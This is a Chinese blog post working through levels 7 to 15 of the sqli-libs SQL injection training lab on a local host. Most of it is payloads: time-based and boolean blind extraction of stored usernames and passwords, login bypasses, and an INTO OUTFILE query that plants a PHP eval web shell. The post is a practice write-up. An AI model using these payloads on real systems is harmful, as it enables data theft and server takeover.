【20171030早】sqli-libs Less7-15 练习

  北风卷地白草折,胡天八月即飞雪。今天温度可真低,脑子也清醒了不少,早上重新指定了计划后,紧张比较顺利。下面开始老黑的sqli-libs过关斩将的经历!!

  Less 7:

  

  分析:看显示的内容,猜测应该将注入的内容导出到文件中

  TRY:

     s1:测试闭合的条件,1' fail,1" fail,1') fail,1") fail,1')) OK!要问怎么测试是否闭合?方法很多,比方说下面的测试过程

          s1.1  http://192.168.162.135/sqli-libs/Less-7?id=1')) order by 1--+  ,用来判断字段的数量,这里显示正常,接着

        s1.1  url中的order by 一直增加到4的时候出错,证明表中有三个字段,而且注入的order by 4语句是OK有效的,所以也说明'))可以闭合前面的内容。

    s2:页面没有回显,所以可以使用时间注入法,简单说就是在构造的注入语句中添加if(expr1, expr2, expr3),expr2中加入sleep()延缓网页反应时间,expr1中写入对数据库信息猜测的语句,这样猜的对,网页反应慢,猜的错,立即反应,通过时间的长短,代表真假。

        详细不多赘述,答案:http://192.168.162.135/sqli-libs/Less-7?id=1')) and if((ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97, sleep(5), null)--+

        解释:97是a的ASCII值,if中判断第4个字符是不是a,当然一开始不会知道是什么,老黑用?代替字符,先结合二分法缩短范围,最终定位,

                   1. ? < 127 => ? < 64 => ? < 96 => ? < 112 => ? < 104 => ? < 100 => ? < 98 => ?=97 

    s3:但是老黑一开始说使用文件,是的,网上很多答案也是这样,我也是学了一下,实现过程如下:

         s3.1:判断是否有写权限,可以判断有写权限

            http://192.168.162.135/sqli-libs/Less-7?id=1')) and (select count(*)from mysql.user)>0 --+ //如果返回正常则有读写权限

         s3.2:将注入内容写入文件

           http://192.168.162.135/sqli-libs/Less-7?id=1')) union select 1,'<?php eval($_POST["123"]); ?>',3 into outfile '/var/www/html/sqli-libs/test.php' --+

           按理说,应该在系统的/var/www/html/sqli-libs下出现test.php文件,可惜的是,我的ubuntu下没有,可惜了,没有成功,不知道你们成功了吗?如果有人知道老黑哪写错了,还请指出,多谢,呵呵呵呵!

 Less 8:

     boolean猜表,id=1'进行闭合

     答案:http://192.168.162.135/sqli-libs/Less-8?id=1' and (ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97--+   boolean判断字符ascii,二分法速度快

  Less 9:

    时间长短猜表,id=1'进行闭合

    答案:http://192.168.162.135/sqli-libs/Less-9?id=1' and if((ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97, sleep(5), null)--+  时间判断,页面反应时间长短代替boolean判断

  Less 10:

    和Less 9 一样

    答案:http://192.168.162.135/sqli-libs/Less-10?id=1" and if((ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97, sleep(5), null)--+

  Less 11:

    和之前不同了,晒张图看看。

    输入用户名和密码登陆系统,这也可以sql注入,同样是是寻找闭合方式,尝试了一下,得知 ' 便可以闭合

    答案:

  登陆:username=a && password=b' or '1'='1 

  注入:1' union select 1,database()# : 1

  Less 12:

    答案:和Less 11相似

  注入 :1' union select 1,database()# : 1

  Less 13:

  登陆: a : b') or 1=1

  注入:a : b') or (ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97# (boolean 注入)

  Less 14:
  登陆: a : b" or 1=1#

  注入:a : b" or (ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97# (boolean 注入)

  Less 15:
  登陆: a : b' or 1=1#

  注入:a : b' or (ascii(substr((select group_concat(id,0x7c,username,0x7c,password) from security.users where id=10),4,4)))=97# (boolean 注入)

 

  总结:基本上是先找闭合方式,然后寻找回显方式(直接:页面直接显示,错误信息显示,间接:boolean判断,时间判断),最后构造搜集想要的信息,OK!

 

posted @ 2017-10-30 11:26  黑楼绝  阅读(666)  评论(0编辑  收藏  举报